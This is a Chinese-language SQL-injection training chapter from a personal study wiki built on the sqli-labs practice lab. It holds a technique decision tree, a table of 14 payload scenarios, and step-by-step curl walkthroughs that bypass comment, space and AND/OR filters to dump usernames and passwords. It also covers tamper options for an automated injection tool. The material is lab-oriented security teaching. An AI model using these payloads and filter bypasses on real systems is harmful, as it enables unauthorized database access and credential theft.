09-综合训练

前置基础:整数型注入 · 报错注入 · 布尔盲注 · 时间盲注

总目录:SQL 总目录 · 本目录 mysql结构 总目录

工具箱:~/hackingtools/web/injection/sqlinject(GitHub: missercatos/tools,本地位于仓库外 /home/a/hackingtools

本章定位:决策手册而非新知识。不引入新手法,只解决”拿到注入点后先做什么、走哪条路”的选择问题。

一、拿到注入点的完整决策树

flowchart TD
    A[拿到可疑参数点] --> B{参数出现在哪}
    B -->|WHERE 条件位 GET/POST| C[标准五步流程]
    B -->|Header/Cookie 位<br/>UA Referer Cookie base64| D[同五步但载体在请求头<br/>用 -H / -b 发送]
    B -->|ORDER BY / LIMIT 位| E[禁 union 流程<br/>见 ORDER BY 章]
    B -->|UPDATE / INSERT 位| F[无结果集流程<br/>必走报错或盲注]
    C & D --> G{有无数据回显?}
    G -->|有回显位| H[union 联合查询<br/>order by 定列数 → 回显位放子查询]
    G -->|无回显但有报错| I[报错注入<br/>updatexml extractvalue<br/>32 字符分段]
    G -->|无报错| J{页面有真假差异?}
    J -->|有布尔差异| K[布尔盲注<br/>ascii+substr+if 逐位]
    J -->|无差异| L[时间盲注<br/>sleep+if 配 time_total]
    L --> M{延时生效?}
    M -->|否| N[带外 OOB / 复核注入点]
    E --> I
    F --> I
    H & I & K & L --> O[提数据四步:<br/>database → tables → columns → data]
    O --> P{有关键字过滤?}
    P -->|空格| Q["/**/ %0b %a0 括号嵌套"]
    P -->|and/or| R["&& 双写 anandd oorr 异或 ^"]
    P -->|union select| S[双写 uniunionon 大小写混合]
    P -->|注释符 # --| T["闭合法翻转 or 1=1 双重编码"]
    P -->|information_schema| U[sys/mysql 库视图 无列名注入]

树的读法:从上到下先定位置,再定回显,最后看过滤。位置决定可用语句形态(能否 union、有无结果集),回显决定载体(union / 报错 / 盲注),过滤只影响 payload 的”拼写”而不改变信息路径。

五步方法论与三种回显的对应

无论走哪个分支,信息收集路径恒定不变:

步骤union 载体报错载体盲注载体
确认注入引号闭合恒真报错探针真假对照
探测列数order by N 二分不需要不需要
爆库回显位放 database()concat(0x7e,database())ascii(substr(database(),1,1))
爆表information_schema.tables同左套子查询同左逐位猜解
爆列取数回显位放 group_concatsubstr 分段二分脚本

二、14 种场景总表

覆盖本目录与上级目录全部章节,按”触发特征 -> 首选手法 -> 关键命令”组织:

序号场景触发特征首选手法关键 curl 片段
1整数型注入?id=1 and 1=2 页面异常,无需引号union 五步?id=-1 union select 1,database(),3
2字符型注入' 报错,' and '1'='1 恒真union 五步?id=-1' union select 1,database(),3#
3报错注入错误信息直接打印在页面updatexml 32 字符分段?id=1' and updatexml(1,concat(0x7e,database()),1)#
4布尔盲注无回显,页面真假两态ascii 二分猜解脚本?id=1' and ascii(substr(database(),1,1))>96#
5时间盲注页面完全无差异sleep + %{time_total}?id=1' and if(substr(database(),1,1)='s',sleep(5),0)#
6Cookie 注入参数经 Cookie 传入(less-20)同 union 五步换载体curl -b "uname=-1' union select 1,database(),3#"
7UA 注入UA 进 insert 语句(less-18)报错(insert 无回显集)-H "User-Agent: ' or updatexml(1,concat(0x7e,user()),1) or '"
8Refer 注入Referer 进 insert(less-19)报错补全式-H "Referer: ' or updatexml(1,concat(0x7e,database()),1) or '"
9base64 层Cookie 内容是 base64(less-21/22)先编码再注入echo -n payload | base64 -w0 后放 Cookie
10二次注入输入被转义存储,后续拼接触发(less-24)注册脏用户名 + UPDATE 改密注册 admin'# 后走改密流程接管
11过滤空格空格被删或拦(less-26 等)/**/ 或括号嵌套?id=1'/**/union/**/select/**/1,database(),3#
12AND/OR 过滤and/or 被删(less-25)双写 anandd/oorr + 符号替代?id=-1' uniunionon seleselectct 1,database(),3#
13ORDER BY 位sort 参数直进排序子句(less-46~49)报错优先,盲注退路?sort=1 and updatexml(1,concat(0x7e,database()),1)
14UPDATE 位改密/资料更新接口(less-17/24)SET 补全式报错 + 万能改密passwd=' or updatexml(1,concat(0x7e,database()),1) or '

使用方法:拿到目标先对号入座(1-5 按回显分类,6-10 按 位置 分类,11-12 按 过滤 分类,13-14 按 语句位 分类),再跳对应章节细读。

注入点位置的快速判断

决策树第一层”参数出现在哪”的实操判断方法:

线索判断验证命令
参数在 URL queryGET WHERE 位curl -s "?id=1'"
参数在表单体且页面有查询结果POST WHERE 位(登录/搜索)curl -d "uname=x'..."
页面回显 User-Agent / Referer / IPHeader 进 insert/update-H 改头后看报错
登录态依赖 Cookie 且页面带昵称Cookie 位(可能 base64)-b 改 Cookie 后看报错
URL 带 sort/order/page 排序参数ORDER BY/LIMIT 位?sort=1 union select 1 报语法错即坐实
表单是注册/改密/资料更新INSERT/UPDATE 位报错探针 + 观察数据变化

判断口诀:先改一个值看页面哪里跟着变,再决定 payload 从哪个通道发。通道选错(该走 -H 的走 -d)会让正确的 payload 打在无关参数上,浪费大量时间。

sqli-labs 通关路线建议

分组关卡主打技术
基础 GETless-1~5闭合判断 + union 回显
基础盲注less-5~10布尔 / 时间
POST 与 headerless-11~22报错注入全姿势
存储与过滤初现less-23~26二次注入 + 本章两个案例
黑名单专项less-25~30双写 / 编码 / 替代视图
堆叠与宽字节less-32~38%bf%27 / 分号多语句
排序与变形less-46~65场景查表补漏

节奏建议:110 打牢闭合与回显判断 → 1122 收集报错姿势 → 25~30 专项练绕过 → 其余按上表查漏。

三、案例一:Less-23 过滤注释符全程实录

服务端把 #--(含 --+)都替换为空:

$id = preg_replace('/[#;]/', '', $_GET['id']);   // 注释符黑名单
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

难点:payload 无法用注释截断尾部引号。两条出路——闭合法翻转(让尾部引号成为合法语法的一部分)与双重编码

第 1 步:确认过滤行为

# 单引号探测 → 报错确认字符型
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=1'"
# You have an error in your SQL syntax ... near ''1'' LIMIT 0,1'
 
# 验证注释符确实被吃:提交 id=1'# 若注释生效应正常返回,实际报错说明 # 被删后引号失衡
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=1'%23"
# 仍报语法错误 → # 被过滤坐实

第 2 步:闭合法翻转确认注入

核心思想:payload 自带一个引号去”配平”原语句尾部的引号。

# 恒真验证: 尾部 '1 与原句尾引号配对成字符串 '1'
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=-1'%20or%20'1'='1"
# 拼出: WHERE id='-1' or '1'='1'   → 恒真,回显第一行 → 注入确认

拼装过程示意:

flowchart LR
    A["输入: -1' or '1'='1"] --> B["服务端拼接"]
    B --> C["WHERE id='-1' or '1'='1' LIMIT 0,1"]
    C --> D["引号两两配对,无残留<br/>不需要注释符"]

第 3 步:探测列数(order by 用翻转法)

curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=1'%20or%20'1'='1"
# 先确认正常列数下页面正常;再用 union 差异报错法:
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=-1'%20union%20select%201,2,3%20or%20'1'='1"
# 正常回显 2:3 → 3 列成立(列数不符会报 columns 错误)

第 4 步:爆库爆表爆数据(union 尾部全部用翻转法收口)

# 爆库: 回显位放 database(),第 3 位放 '3 与尾引号配平
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=-1'%20union%20select%201,database(),'3"
 
# 爆表
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=-1'%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),'3"
 
# 爆列
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=-1'%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),'3"
 
# 提取数据拿 flag
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=-1'%20union%20select%201,(select%20group_concat(username,0x3a,password)%20from%20users),'3"

备选路线:双重编码绕过

若服务端过滤发生在 URL 解码之前(先查 %23 再解码),可双重编码让过滤器看不到注释符:

# %23 → 双重编码 %2523 ;-- - → --%20%2d
curl -s "http://127.0.0.1/sqli-labs/Less-23/?id=1'%2523"
# 服务端删除字面 "%23" 未命中,解码一次后得到 # → 注释生效

是否成立取决于 WAF 与应用层的解码顺序,一条请求即可验证;不成立时闭合法永远是保底解。案例复盘:过滤注释符不等于封死注入,引号配平是最通用的结构性解法

四、案例二:Less-26 过滤空格 + AND/OR 组合全程实录

服务端同时干掉空格、andor(含大小写):

$id = preg_replace('/\s+/','',$id);
$id = preg_replace('/or/i','',$id);
$id = preg_replace('/and/i','',$id);
// 另有 ' # -- 等视变体而定

组合拳配方:// 替代空格 + 双写还原关键字 + || 替代 or**。三样叠加后 payload 几乎面目全非,但还原到数据库里就是标准语句。

第 1 步:确认两组过滤

# 探测空格: id=1' union select 会因空格被删而变形报错,先看单引号
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=1'"
# 语法错误 → 字符型;注意报错里 near 后面的内容可见空格已被吃掉
 
# 验证 or 被删: 提交 oorr 还原后恒真
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=1'%7c%7c'1'='1"
# || 不含空格与 and/or,直接生效 → 回显第一行,注入确认

第 2 步:确定空格替代方案

Linux + Apache 下按优先级试:

# 方案 a: %a0(部分 apache 版本解码为不可断空格)
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=1'%a0%7c%7c'a"
# 方案 b: %0b 垂直制表符
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=1'%0b%7c%7c'a"
# 方案 c: /**/ 注释拆分(最通用,本章主线)
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=1'/**/%7c%7c/**/'a"

三者任一生效即可,以下统一用 /**/。

第 3 步:五步流程组合版

# 列数探测(union select 全部拆开写)
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=-1'/**/uniunionon/**/seleselectct/**/1,2,'3"
 
# 爆库
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=-1'/**/uniunionon/**/seleselectct/**/1,database(),'3"
# security
 
# 爆表: information_schema 含 or → infoorrmation_schema
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=-1'/**/uniunionon/**/seleselectct/**/1,group_concat(table_name),3/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()"
# 注意 where 前后的空格也全部换成 /**/
 
# 爆列
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=-1'/**/uniunionon/**/seleselectct/**/1,group_concat(column_name),3/**/from/**/infoorrmation_schema.columns/**/where/**/table_name=0x7573657273"
# table_name='users' 的引号内无空格本可不处理,此处用十六进制 0x7573657273 更稳
 
# 提取数据: password 含 or → passwoorrd
curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=-1'/**/uniunionon/**/seleselectct/**/1,group_concat(username,0x3a,passwoorrd),3/**/from/**/users"
# Dumb:Dumb,... 全量到手

无 union 回显时的报错替代

若该变体关卡关闭了 union 回显,换报错载体,同样全程 /**/ + 双写:

curl -s "http://127.0.0.1/sqli-labs/Less-26/?id=1'/**/%26%26/**/updatexml(1,concat(0x7e,database()),1)/**/%26%26/**/'1'='1"
# && 编码 %26%26,XPATH error: '~security'

案例复盘:多重过滤的解题顺序是”先分解再组合”——单独验证每种过滤的边界,各自找到绕法后再拼接;一步到位写大 payload 出错时无法定位是哪层过滤没绕过。双写的适用边界(递归替换失效)、空格替代的全家福见 过滤空格OR 注入

五、sqlinject.py 综合使用

手工确认过滤规则之后,交给工具自动化跑完五步流程。工具位于 ~/hackingtools/web/injection/sqlinject,完整参数表见 ~/hackingtools/web/injection/sqlinject(GitHub: missercatos/tools,本地位于仓库外 /home/a/hackingtools)。

基础用法

# 标准五步全自动(整数型 GET 位)
python3 ~/hackingtools/web/injection/sqlinject \
  -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"
 
# POST 位(less-11 类)
python3 ~/hackingtools/web/injection/sqlinject \
  -u "http://127.0.0.1/sqli-labs/Less-11/" \
  --data "uname=admin&passwd=admin" -p uname
 
# Cookie 位(less-20)
python3 ~/hackingtools/web/injection/sqlinject \
  -u "http://127.0.0.1/sqli-labs/Less-20/" \
  --cookie "uname=*"

tamper 对照速查

tamper作用对应场景
space2comment空格 → /**/案例二的空格层
doublewriteand/or/union/select 双写less-25 系列、案例二
andornotand/or → && ||符号替代优先的场景
randomcase大小写混淆区分大小写的过滤
charencodeURL 编码混淆WAF 解码层数不足
between比较符改写= > 被拦

过滤场景的组合示例

# 案例二复刻: 空格 + and/or 双过滤 → space2comment,doublewrite 组合
python3 ~/hackingtools/web/injection/sqlinject \
  -u "http://127.0.0.1/sqli-labs/Less-26/?id=1" \
  --tamper space2comment,doublewrite
 
# 注释符过滤(案例一)→ 工具内置闭合法翻转策略
python3 ~/hackingtools/web/injection/sqlinject \
  -u "http://127.0.0.1/sqli-labs/Less-23/?id=1" \
  --no-comment
 
# 多重叠加: 空格 + and/or + 大小写敏感过滤三层齐发
python3 ~/hackingtools/web/injection/sqlinject \
  -u "http://127.0.0.1/sqli-labs/Less-26/?id=1" \
  --tamper space2comment,doublewrite,randomcase
 
# ORDER BY 位与 UPDATE 位自动识别(无 union 流程)
python3 ~/hackingtools/web/injection/sqlinject \
  -u "http://127.0.0.1/sqli-labs/Less-46/?sort=1"
python3 ~/hackingtools/web/injection/sqlinject \
  -u "http://127.0.0.1/sqli-labs/Less-17/" \
  --data "uname=admin&passwd=x" -p passwd --technique E

工具与手脑的关系

三条纪律:

  1. 先 curl 手工确认过滤规则,再挑 tamper——盲目堆 tamper 会让 payload 变形后整体失效,且无法定位失败原因
  2. 工具跑通后回头读源码,确认漏洞代码形态,形成”输入 -> 语句 -> 行为”的闭环认知
  3. UPDATE/写文件类场景先备份,工具有真实写风险

手工 -> 工具 -> 源码审计,三遍下来才算真正掌握一个场景。

六、常见失败排查清单

payload 不生效时按顺序核对,绝大多数问题落在前四条:

症状最可能原因排查动作
语法错误 near 原文闭合方式判断错(引号数量/括号)数引号:报错信息里的语句片段就是拼装结果
页面无任何变化参数没进 SQL 或走了缓存加随机值参数、换 HTTP 方法重试
报错被吞但页面有真假差异错误回显关闭转布尔盲注路线
union 列数怎么都不对回显位与列数不匹配 / 有过滤吃字符先 order by N 定死列数再检查 payload 长度
关键字消失黑名单删除型过滤对比提交串与报错回显中的残留,找出被删的词
全部请求都超时sleep 打在多行位置或网络问题降 sleep 秒数,换假条件对照
工具跑不出结果tamper 选错或目标需要 cookie手工 curl 校准后再交给工具

七、自建靶场速查

# sqli-labs docker 一键
docker run -d -p 8080:80 --name sqli-labs acgpiano/sqli-labs
# 访问 http://127.0.0.1:8080 先点 setup 初始化
 
# 练 UPDATE 全表更新类 payload 前先备份,玩坏随时还原
mysqldump -uroot -p --databases security > security_backup.sql
mysql -uroot -p < security_backup.sql

八、自测清单

能独立回答以下问题,说明本目录已通关:

  1. 整数型与字符型的闭合判断各用什么命令?加引号对照法的完整流程?
  2. 报错注入为什么只能带 32 字符?分段提取的 substr 参数怎么推?
  3. 布尔盲注与时间盲注的适用边界分别是什么?二分脚本的核心判断逻辑?
  4. ORDER BY 位为什么不能 union?三条替代路线的速度排序?
  5. UPDATE 位 SET 与 WHERE 两种注入位置的截断自由度差异?
  6. 双写绕过的适用前提是什么?哪些标识符会被 and/or 过滤连带误伤?
  7. 注释符被过滤时的保底解法是什么(闭合法翻转的引号配平原理)?
  8. 空格过滤的至少四种替代写法?

答不上来的回到对应章节重打一遍靶。

九、要点回顾

要点一句话
三步法不变闭合 -> 构造 -> 提数据,任何场景先找闭合方式
先定位置再选武器WHERE/Header/ORDER BY/UPDATE 四类位置的可用语句形态完全不同
回显决定载体回显位 union、报错窗 updatexml、布尔差 if、全无则 sleep
信息路径恒定database -> tables -> columns -> data,载体怎么换都不变
黑名单必有缝隙双写、编码、符号、闭合法、替代视图,过滤只是增加成本
转义不是净化宽字节与二次注入都源于此
参数化是终点所有防御殊途同归:prepared statement + 白名单 + 最小权限

返回 SQL 总目录 · mysql结构 总目录